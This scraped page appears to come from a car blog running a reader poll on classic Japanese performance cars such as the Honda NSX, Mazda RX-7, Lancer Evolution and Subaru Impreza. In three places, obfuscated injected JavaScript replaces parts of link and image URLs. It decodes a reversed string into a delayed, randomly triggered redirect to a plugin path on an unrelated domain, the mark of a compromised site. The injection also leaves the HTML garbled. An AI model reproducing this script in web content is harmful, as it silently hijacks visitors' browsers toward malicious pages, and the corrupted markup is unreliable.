$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/01/honda-nsx-r-02.jpg” alt=”” width=”728″ height=”546″ />
Honda NSX
The $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/honda-nsx-version-2-0-living-in-the-shadows/” target=”_blank”>Honda NSX rocked the supercar establishment when released in 1990 and is still described as one of the best handling performance cars to ever make production. It also had a reputation for not breaking down or needing to replace the clutch every time you drove it forcing other manufacturers of supercars to reconsider their construction methods.
Image – desktopmachine
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Mazda RX-7
Wankel Rotary powered goodness from the only company that could ever make a non-piston powered engine work. If you are a Mazdafarian Rotard, and round and round rather than up and down gets you moist, then vote for the Mazda RX-7.
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Mitsubishi Lancer Evolution
Our last two nominees exemplify Japanese real world performance cars. The $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/mitsubishi-evolution-ix-shakedown-dubai-autodrome/” target=”_blank”>Mitsubishi Lancer Evolution was born on the rally stage and from numbers one to ten, and especially 6.5, proved to be a giant slayer on the road. Mitsubishi may have withdrawn from the WRC but the Evo lives on as a favoured time-attack track weapon.
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Subaru Impreza
The Subaru Impreza has always been the natural rival of the Mitsubishi Evo. The distinctive burble from the flat-four is instantly recognisable and three consecutive WRC constructors’ titles for the Impreza has cemented its place in rally history.
Narrowing the complete history of Japanese automotive manufacturing down to just ten tasty examples has proven difficult enough but now it is your turn to decide which one walks away with the top spot. Cast your vote now or chastise us for neglecting to choose your favourite JDM car in the comments box below.
[poll id=”59″]
